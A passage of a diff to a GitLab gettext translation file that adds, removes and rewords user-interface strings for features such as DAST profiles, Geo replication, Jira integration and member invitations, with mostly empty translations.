msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9349,8 +9634,11 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9445,6 +9733,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9514,6 +9805,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9574,6 +9871,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9607,6 +9907,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9637,12 +9940,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9721,6 +10036,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9751,6 +10069,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "Dan u mjesecu"
@@ -10174,13 +10495,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10291,9 +10618,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10321,9 +10645,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10438,9 +10759,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10600,13 +10918,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10621,7 +10939,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10876,6 +11194,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11119,6 +11440,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11131,6 +11455,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11350,6 +11677,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11374,6 +11704,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11386,6 +11719,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11398,6 +11734,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11509,6 +11848,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11578,9 +11920,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12208,19 +12547,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12229,7 +12568,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12340,9 +12679,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12409,6 +12745,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12478,6 +12817,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12490,12 +12832,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12523,9 +12859,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12547,13 +12880,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12652,6 +12988,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12679,9 +13018,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12730,9 +13075,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12787,9 +13129,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13174,10 +13513,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13210,7 +13549,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13312,6 +13651,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13360,12 +13702,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13375,9 +13720,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13402,6 +13744,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13411,6 +13756,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13426,6 +13774,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13444,9 +13795,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13708,6 +14056,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13750,9 +14101,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13777,6 +14134,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13810,6 +14176,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13837,6 +14209,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13849,6 +14224,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13876,6 +14275,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13888,6 +14290,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13921,6 +14326,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13966,6 +14374,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14095,6 +14506,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14218,6 +14635,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14260,9 +14695,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14392,16 +14824,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14413,6 +14842,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14470,6 +14902,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14551,9 +14989,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14656,9 +15091,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14674,7 +15115,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14770,9 +15214,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14968,9 +15409,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15106,9 +15544,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15289,6 +15724,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15457,6 +15895,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15619,9 +16063,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15670,12 +16111,15 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15685,9 +16129,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16273,6 +16714,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16444,6 +16888,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16489,9 +16936,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16516,6 +16960,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16552,9 +16999,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16750,7 +17194,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16759,7 +17203,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16768,25 +17212,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16801,6 +17245,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16963,6 +17410,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16972,6 +17422,9 @@ msgstr ""
msgid "Issue weight"
msgstr "Težina zadatka"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17059,6 +17512,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17122,6 +17578,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17209,6 +17668,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17221,9 +17683,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17263,7 +17734,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17284,7 +17758,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17296,12 +17770,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17518,15 +17998,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17617,6 +18088,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17821,6 +18295,9 @@ msgstr ""
msgid "Learn more"
msgstr "Saznaj više"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18226,6 +18703,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18295,6 +18775,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18469,6 +18952,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18508,6 +18994,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18532,9 +19021,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18610,6 +19096,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18628,13 +19117,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18709,6 +19195,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18811,9 +19300,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
